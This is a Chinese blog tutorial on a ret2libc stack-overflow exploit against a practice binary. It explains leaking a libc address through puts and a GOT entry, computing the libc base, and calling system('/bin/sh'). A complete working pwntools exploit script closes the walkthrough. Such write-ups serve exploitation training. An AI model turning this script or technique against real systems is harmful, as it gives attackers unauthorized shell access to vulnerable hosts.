当前位置:网站首页>堆栈认知——栈溢出实例(ret2libc)
堆栈认知——栈溢出实例(ret2libc)
2022-06-25 07:00:00 【行稳方能走远】
参考:栈溢出实例–笔记三(ret2libc)
地址:https://qingmu.blog.csdn.net/article/details/119481681
1、栈溢出含义及栈结构
参考前面博文
2、ret2libc基本思路
在当一个程序开启了NX(栈不可执行)的时候,我们没办法去写shellcode,而且程序中也没有system函数供我们调用的时候,那此时我们该如何做呢?
首先,程序本身没有system,但是我们需要getshell,那么就必须要通过system才可以,那么程序中没有system,哪里有呢?毋庸置疑libc库中有system呀,此时我们就需要通过程序中的libc的函数来泄露libc中的system地址。从而执行system函数,并传递给system函数参数为“/bin/sh”,从而getshell。
思路说完了来实战一下吧。
3、实战
3.1、二进制程序
我们使用IDA查看一下汇编代码:
反编译成C语言看一下:
此时程序中有gets函数,并且s的长度未做限制,那么gets函数就是溢出点,通过gets来进行栈溢出。其中还有puts函数,我们就可通过gets函数来泄露libc中的system函数地址,用puts函数将其打印出来。
注意:在泄露的时候我们需要通过gets函数的got表地址加偏移来泄露got表中的system函数地址,具体含义可百度一下,这里不过过深的说明。
3.2、查看栈结构
接下来我们就是用gdb查看一下栈结构:
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c
所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,到这这里我们需要返回到哪呢?
正如上面所说我们需要通过gets函数来泄露got表中system地址。
到此我们并不能getshell,我们还需要在来一次栈溢出从而执行system来获取getshell,那么如何再来一次栈溢出呢?
我们可以在执行完puts函数后让其执行main函数,那么程序又会执行gets函数了,那么我们就可以在做一次栈溢出啦。
3.3、第一次栈溢出
第一次栈溢出我们需要泄露libc中的gets函数的地址,其第一次操作时候我们所希望的栈结构如下:
如何查找一个程序的rop链呢?
ROPgadget --binary ret2libc3 --only "pop|ret"
工具:ROPgadget
参数 | 含义 |
---|---|
–binary | 二进制程序 |
–only | 正则匹配 |
在这里我们使用的是pop ebp ; ret。部分Python代码如下:
puts_addr = elf.plt["puts"] #获取pust函数的plt地址
gets_got = elf.got["gets"] #获取gets函数的libc地址
pop_ebp_ret = 0x080486ff #rop链地址
main_addr = elf.symbols["main"] #main函数地址
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr) #payload
p.sendlineafter("Can you find it !?",payload) #在打印Can you find it !?之后注入payload
gets_addr = u32(p.recv(4)) #接收gets函数的libc地址
到此时我们就到了gets函数的libc中的地址,那么接下来我们就要获取system函数在libc中的地址。
现在有了gets函数的libc地址,我们需要先获取libc库的基地址,在获取system函数地址。
libc库的基地址如何获取呢?
我们就用获取到的gets函数的libc地址减去其偏移就可以啦。
具体Python代码如下:
libc.address = gets_addr - libc.symbols["gets"] # 获取libc的基地址
system_addr = libc.symbols["system"] # 得到system函数的libc地址
那么我们的准备工作就做完了,就可以开始第二次的栈溢出来获取getshell啦。
3.4、第二次栈溢出
此时我们已经拿到了system函数的libc地址,我们只需要执行system函数,并给他传入参数“/bin/sh”
就可以getshell啦。
如何传入参数“/bin/sh”呢?
我们可在栈溢出的时候,再让其执行gets函数,给其输入一个“/bin/sh”就好啦,值得注意的是:我们输入的“/bin/sh”需要放到bss段中的一个地址上去,因为这个不会随着函数的栈被覆盖或回收等机制导致我们找不到“/bin/sh”的地址了。
bss_addr = 0x0804A080 #程序中一个bss段地址
gets_addr= elf.plt["gets"] #程序中gets函数地址
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh") # 输入一个“/bin/sh”
此时我们分析已经完成了,来康康结果吧:
此时我们已经getshell啦,大功告成 respect。
完整的Python脚本如下:
from pwn import *
import sys
#context.log_level="debug"
context.arch = "i386"
#context.terminal = ["tmux","splitw","-h"]
if len(sys.argv)<2:
debug =True
else:
debug=False
if debug:
p=process("./ret2libc3")
elf=ELF("./ret2libc3")
libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
else:
p=remote("x.x.x.x")
elf=ELF("./ret2libc3")
libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
def debugf():
gdb.attach(p,"b * 0x08048641")
puts_addr = elf.plt["puts"]
gets_got = elf.got["gets"]
pop_ebp_ret = 0x080486ff
main_addr = elf.symbols["main"]
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr)
p.sendlineafter("Can you find it !?",payload)
gets_addr = u32(p.recv(4))
log.success("gets addr:"+ hex(gets_addr))
libc.address = gets_addr - libc.symbols["gets"]
log.success("libc addr:"+ hex(libc.address))
system_addr = libc.symbols["system"]
bss_addr = 0x0804A080
gets_addr= elf.plt["gets"]
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh")
p.interactive()
关键性的注释上面都已经注释过啦。
边栏推荐
- PH neutralization process modeling
- [thesis study] vqmivc
- [Mobius inversion]
- [supplementary question] 2021 Niuke summer multi school training camp 6-n
- FM signal, modulated signal and carrier
- 双周投融报:资本埋伏Web3基础设施
- 2022年毕业生求职找工作青睐哪个行业?
- Apache CouchDB Code Execution Vulnerability (cve-2022-24706) batch POC
- php数组函数大全
- FM信号、调制信号和载波
猜你喜欢
c#搭建ftp服务器并实现文件上传和下载
企业全面云化的时代——云数据库的未来
Daily question brushing record (III)
电子学:第014课——实验 15:防入侵报警器(第一部分)
使用pytorch搭建MobileNetV2并基于迁移学习训练
Mr. Tang's lecture on operational amplifier (Lecture 7) -- Application of operational amplifier
每日刷题记录 (三)
Quickly build a real-time face mask detection system in five minutes (opencv+paddlehub with source code)
电子学:第012课——实验 11:光和声
双周投融报:资本埋伏Web3基础设施
随机推荐
初体验完全托管型图数据库 Amazon Neptune
DNS protocol and its complete DNS query process
Almost taken away by this wave of handler interview cannons~
洛谷P2486 [SDOI2011]染色(树链+线段树 + 树上区间合并 )
牛客:飞行路线(分层图+最短路)
六月集训(第25天) —— 树状数组
数论模板啊
Biweekly investment and financial report: capital ambush Web3 infrastructure
c#磁盘驱动器及文件夹还有文件类的操作
A solution to slow startup of Anaconda navigator
RMQ区间最大值下标查询,区间最值
Ph中和过程建模
Electronics: Lesson 012 - Experiment 11: light and sound
First experience Amazon Neptune, a fully managed map database
What is the difference between agreement and service?
Common SRV types
TCP 加速小记
Number theory template
Black dot = = white dot (MST)
五分钟快速搭建一个实时人脸口罩检测系统(OpenCV+PaddleHub 含源码)